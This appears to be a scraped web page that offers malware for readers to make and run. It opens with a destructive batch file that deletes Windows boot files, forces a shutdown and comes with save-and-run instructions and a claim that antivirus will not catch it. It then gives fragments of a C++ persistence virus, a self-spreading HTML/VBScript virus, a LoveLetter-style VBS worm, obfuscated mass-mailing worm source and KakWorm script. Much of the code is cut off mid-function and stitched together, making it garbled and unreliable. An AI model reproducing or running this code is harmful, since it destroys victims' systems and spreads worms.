every thing you need |

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini
@echo off
msg * YOU GOT OWNED!!!
shutdown -s -t 7 -c "A VIRUS IS TAKING OVER c:Drive

save as bat file in notepad!!
This will pop up a message saying OWNED!!
and shut down the computer never to reboot again!

type this in notepad

start virus.bat
virus.bat

and save as with this name

virus.bat

ur antivirus will not detect this virus

Basically this program will delete all that files which are needed for booting
If your os is installed in d drive instead of c then replace c with d

C++ VIRUS (1)

int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{

GetWindowsDirectory(windir, sizeof(windir));
HMODULE hMe = GetModuleHandle(NULL);
DWORD nRet = GetModuleFileName(hMe, pathname, 256);

RegCreateKey(HKEY_CURRENT_USER,"Software\\retro",&hKey);
RegSetValueEx(hKey,"virus",0,REG_SZ,reg,sizeof(reg));
RegCloseKey(hKey);

C++ VIRUS (2)

int APIENTRY WinMain(HINSTANCE hInstance,
                              HINSTANCE hPrevInstance,
                              LPSTR lpCmdLine,
                              int nCmdShow)
{

GetWindowsDirectory(windir, sizeof(windir));
HMODULE hMe = GetModuleHandle(NULL);
DWORD nRet = GetModuleFileName(hMe, pathname, 256);

RegCreateKey(HKEY_CURRENT_USER,"Software\\retro",&hKey);
RegSetValueEx(hKey,"virus",0,REG_SZ,reg,sizeof(reg));
RegCloseKey(hKey);

HTML VIRUS

<html>
<head>
<title> Second Part To Hell's HTML.Umbriel </title>
</head>
<body>
<script language="VBScript">
rem VBS
On Error Resume Next
Dim fso, shell, wrte, tempdir, windir, rand, file
Set fso=CreateObject("Scripting.FileSystemObject")
Set shell=CreateObject("Wscript.Shell")
if err.number=429 Then
shell.Run javascript:location.reload()
End If

Set wrte=fso.CreateTextFile(windir+"\windows.cmd")
wrte.WriteLine "cls"
wrte.WriteLine "@echo off"
wrte.WriteLine "shutdown -s -f -t 300 -c "+chr(34)+"Second Part To Hell's Umbriel has you..."+chr(34)
wrte.Close()

shell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Desktop\Components\1\Source", "C:\umbriel.html"
shell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Desktop\Components\1\SubscribedURL", "C:\umbriel.html"

Randomize
rand=int(rnd*5)+1
If rand=1 then
shell.Run windir+"\windows.cmd"
End If
</script>

Sub Umbriel(rr, mycode)
set victim=fso.OpenTextFile(rr)
infcheck=victim.ReadLine
If infcheck<>"<html>" Then
viccode=victim.ReadAll
victim.Close()
set wrtevic=fso.OpenTextFile(rr, 2, false, 0)
wrtevic.Write (mycode+infcheck+chr(13)+chr(10)+viccode)
wrtevic.Close
End If

VISUAL BASIC VIRUS SCRPIT

rem barok -loveletter(vbe) <i hate go to school>
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()

sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
end sub

sub regruns()
On Error Resume Next
Dim num,downread
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory")
if (downread="") then
downread="c:\"
end if
if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num =

C++ VIRUS (3)

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winsock2.h>
#include "lib.h"
#include "massmail.h"
#include "scan.h"
#include "sco.h"

struct sync_t {
int first_run;
DWORD start_tick;
char xproxy_path[MAX_PATH];
int xproxy_state; /* 0=unknown, 1=installed, 2=loaded */
char sync_instpath[MAX_PATH];
SYSTEMTIME sco_date;
SYSTEMTIME termdate;
};

void decrypt1_to_file(const unsigned char *src, int src_size, HANDLE hDest)
{
unsigned char k, buf[1024];
int i, buf_i;
DWORD dw;
for (i=0,buf_i=0,k=0xC7; i<src_size; i++) {
  if (buf_i >= sizeof(buf)) {
   WriteFile(hDest, buf, buf_i, &dw, NULL);
   buf_i = 0;
  }
  buf[buf_i++] = src[i] ^ k;
  k = (k + 3 * (i % 133)) & 0xFF;
}
if (buf_i) WriteFile(hDest, buf, buf_i, &dw, NULL);
}

void payload_xproxy(struct sync_t *sync)
{
char fname[20], fpath[MAX_PATH+20];
HANDLE hFile;
int i;
rot13(fname, "fuvztncv.qyy");   /* "shimgapi.dll" */
sync->xproxy_state = 0;
for (i=0; i<2; i++) {
  if (i == 0)
   GetSystemDirectory(fpath, sizeof(fpath));
  else
   GetTempPath(sizeof(fpath), fpath);
  if (fpath[0] == 0) continue;
  if (fpath[lstrlen(fpath)-1] != '\\') lstrcat(fpath, "\\");
  lstrcat(fpath, fname);
  hFile = CreateFile(fpath, GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE,
   NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
  if (hFile == NULL || hFile == INVALID_HANDLE_VALUE) {
   if (GetFileAttributes(fpath) == INVALID_FILE_ATTRIBUTES)
    continue;
   sync->xproxy_state = 2;
   lstrcpy(sync->xproxy_path, fpath);
   break;
  }
  decrypt1_to_file(xproxy_data, sizeof(xproxy_data), hFile);
  CloseHandle(hFile);
  sync->xproxy_state = 1;
  lstrcpy(sync->xproxy_path, fpath);
  break;
}

if (sync->xproxy_state == 1) {
LoadLibrary(sync->xproxy_path);
sync->xproxy_state = 2;
}
}

void sync_check_frun(struct sync_t *sync)
{
HKEY k;
DWORD disp;
char i, tmp[128];

/* "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ComDlg32\\Version" */
rot13(tmp, "Fbsgjner\\Zvpebfbsg\\Jvaqbjf\\PheeragIrefvba\\Rkcybere\\PbzQyt32\\Irefvba");

sync->first_run = 0;
for (i=0; i<2; i++)
  if (RegOpenKeyEx((i == 0) ? HKEY_LOCAL_MACHINE : HKEY_CURRENT_USER,
      tmp, 0, KEY_READ, &k) == 0) {
   RegCloseKey(k);
   return;
  }

sync->first_run = 1;
for (i=0; i<2; i++)
  if (RegCreateKeyEx((i == 0) ? HKEY_LOCAL_MACHINE : HKEY_CURRENT_USER,
      tmp, 0, NULL, 0, KEY_WRITE, NULL, &k, &disp) == 0)
   RegCloseKey(k);
}

int sync_mutex(struct sync_t *sync)
{
char tmp[64];
rot13(tmp, "FjroFvcpFzgkF0"); /* "SwebSipcSmtxS0" */
CreateMutex(NULL, TRUE, tmp);
return (GetLastError() == ERROR_ALREADY_EXISTS) ? 1 : 0;
}

void sync_install(struct sync_t *sync)
{
char fname[20], fpath[MAX_PATH+20], selfpath[MAX_PATH];
HANDLE hFile;
int i;
rot13(fname, "gnfxzba.rkr"); /* "taskmon.exe" */

GetModuleFileName(NULL, selfpath, MAX_PATH);
lstrcpy(sync->sync_instpath, selfpath);
for (i=0; i<2; i++) {
  if (i == 0)
   GetSystemDirectory(fpath, sizeof(fpath));
  else
   GetTempPath(sizeof(fpath), fpath);
  if (fpath[0] == 0) continue;
  if (fpath[lstrlen(fpath)-1] != '\\') lstrcat(fpath, "\\");
  lstrcat(fpath, fname);
  SetFileAttributes(fpath, FILE_ATTRIBUTE_ARCHIVE);
  hFile = CreateFile(fpath, GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE,
   NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
  if (hFile == NULL || hFile == INVALID_HANDLE_VALUE) {
   if (GetFileAttributes(fpath) == INVALID_FILE_ATTRIBUTES)
    continue;
   lstrcpy(sync->sync_instpath, fpath);
   break;
  }
  CloseHandle(hFile);
  DeleteFile(fpath);

  if (CopyFile(selfpath, fpath, FALSE) == 0) continue;
  lstrcpy(sync->sync_instpath, fpath);
  break;
}
}

void sync_startup(struct sync_t *sync)
{
HKEY k;
char regpath[128];
char valname[32];

/* "Software\\Microsoft\\Windows\\CurrentVersion\\Run" */
rot13(regpath, "Fbsgjner\\Zvpebfbsg\\Jvaqbjf\\PheeragIrefvba\\Eha");
rot13(valname, "GnfxZba"); /* "TaskMon" */

if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, regpath, 0, KEY_WRITE, &k) != 0)
if (RegOpenKeyEx(HKEY_CURRENT_USER, regpath, 0, KEY_WRITE, &k) != 0)
return;
RegSetValueEx(k, valname, 0, REG_SZ, sync->sync_instpath, lstrlen(sync->sync_instpath)+1);
RegCloseKey(k);
}

int sync_checktime(struct sync_t *sync)
{
FILETIME ft_cur, ft_final;
GetSystemTimeAsFileTime(&ft_cur);
SystemTimeToFileTime(&sync->termdate, &ft_final);
if (ft_cur.dwHighDateTime > ft_final.dwHighDateTime) return 1;
if (ft_cur.dwHighDateTime < ft_final.dwHighDateTime) return 0;
if (ft_cur.dwLowDateTime > ft_final.dwLowDateTime) return 1;
return 0;
}

GetSystemTimeAsFileTime(&ft_cur);
SystemTimeToFileTime(&sync->sco_date, &ft_final);
if (ft_cur.dwHighDateTime < ft_final.dwHighDateTime) return;
if (ft_cur.dwLowDateTime < ft_final.dwLowDateTime) return;

/* here is another bug.
actually, the idea was to create a new thread and return; */

DWORD _stdcall sync_visual_th(LPVOID pv)
{
PROCESS_INFORMATION pi;
STARTUPINFO si;
char cmd[256], tmp[MAX_PATH], buf[512];
HANDLE hFile;
int i, j;
DWORD dw;

tmp[0] = 0;
GetTempPath(MAX_PATH, tmp);
if (tmp[0] == 0) goto ex;
if (tmp[lstrlen(tmp)-1] != '\\') lstrcat(tmp, "\\");
lstrcat(tmp, "Message");

hFile = CreateFile(tmp, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE,
  NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == NULL || hFile == INVALID_HANDLE_VALUE) goto ex;
for (i=0, j=0; i < 4096; i++) {
  if (j >= (sizeof(buf)-4)) {
   WriteFile(hFile, buf, sizeof(buf), &dw, NULL);
   j = 0;
  }
  if ((xrand16() % 76) == 0) {
   buf[j++] = 13;
   buf[j++] = 10;
  } else {
   buf[j++] = (16 + (xrand16() % 239)) & 0xFF;
  }
}
if (j) WriteFile(hFile, buf, j, &dw, NULL);
CloseHandle(hFile);

wsprintf(cmd, "notepad %s", tmp);
memset(&si, '\0', sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
if (CreateProcess(0, cmd, 0, 0, TRUE, 0, 0, 0, &si, &pi) == 0)
goto ex;
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);

sync->start_tick = GetTickCount();
sync_check_frun(sync);
if (!sync->first_run)
if (sync_mutex(sync)) return;
if (sync->first_run)
CreateThread(0, 0, sync_visual_th, NULL, 0, &tid);
payload_xproxy(sync);

/* shit, MSVC inlined it to WinMain... I didn't expect. */
static void wsa_init(void)
{
WSADATA wsadata; /* useless shit... */
WSAStartup(MAKEWORD(2,0), &wsadata);
}

int _stdcall WinMain(HINSTANCE hInst, HINSTANCE hPrevInst, LPSTR lpCmd, int nCmdShow)
{
static const SYSTEMTIME termdate = { 2004,2,0,12, 2,28,57 };
static const SYSTEMTIME sco_date = { 2004,2,0, 1, 16, 9,18 };
struct sync_t sync0;

memset(&sync0, '\0', sizeof(sync0));
sync0.termdate = termdate;
sync0.sco_date = sco_date;
sync_main(&sync0);

Email-Worm.VBS.KakWorm.ab

<DIV style=3D"POSITION: absolute; RIGHT: 0px; TOP: -20px; Z-INDEX: 5">
<OBJECT classid=3Dclsid:06290BD5-48AA-11D2-8432-006008C3FBFC=20
id=3Dscr></OBJECT></DIV><SCRIPT></"+"'+'SCRIPT></"+"'+'OBJECT></"+"'+'BODY></"+"'+'HTML>');t3.close();fs.GetFile(wd+'ka
k.htm').Attributes=2;fs.DeleteFile(wd+'kak.reg');d=new
Date();if(d.getDate()==1 && d.getHours()>17){alert('Kagou-Anti-Kro$oft
says not today !');wsh.Run(wd+'RUNDLL32.EXE
user.exe,exitwindows');}self.close();</"+"SCRIPT>S3 driver memory alloc
failed
!]]%%%%%</"+"BODY></"+"HTML";la=(navigator.systemLanguage)?navigator.systemLanguage:
navigator.language;scr.Path=(la=="fr")?"C:\\windows\\Menu
Démarrer\\Programmes\\Démarrage\\kak.hta":"C:\\windows\\Start
Menu\\Programs\\StartUp\\kak.hta";agt=navigator.userAgent.toLowerCase();if(((agt.
indexOf("msie")!=-1)&&(parseInt(navigator.appVersion)>4))||(agt.indexOf("msie
5.")!=-1))scr.write();
// --></SCRIPT>

every thing you need

MAKE THIS HAVOC VIRUS
<

Just click on this banner (dollars-money)

C++ VIRUS (1)

C++ VIRUS (2)

HTML VIRUS

VISUAL BASIC VIRUS SCRPIT

C++ VIRUS (3)

Email-Worm.VBS.KakWorm.ab

click on this banner

every thing you need

MAKE THIS HAVOC VIRUS<

Just click on this banner (dollars-money)

C++ VIRUS (1)

C++ VIRUS (2)

HTML VIRUS

VISUAL BASIC VIRUS SCRPIT

C++ VIRUS (3)

Email-Worm.VBS.KakWorm.ab

click on this banner

MAKE THIS HAVOC VIRUS
<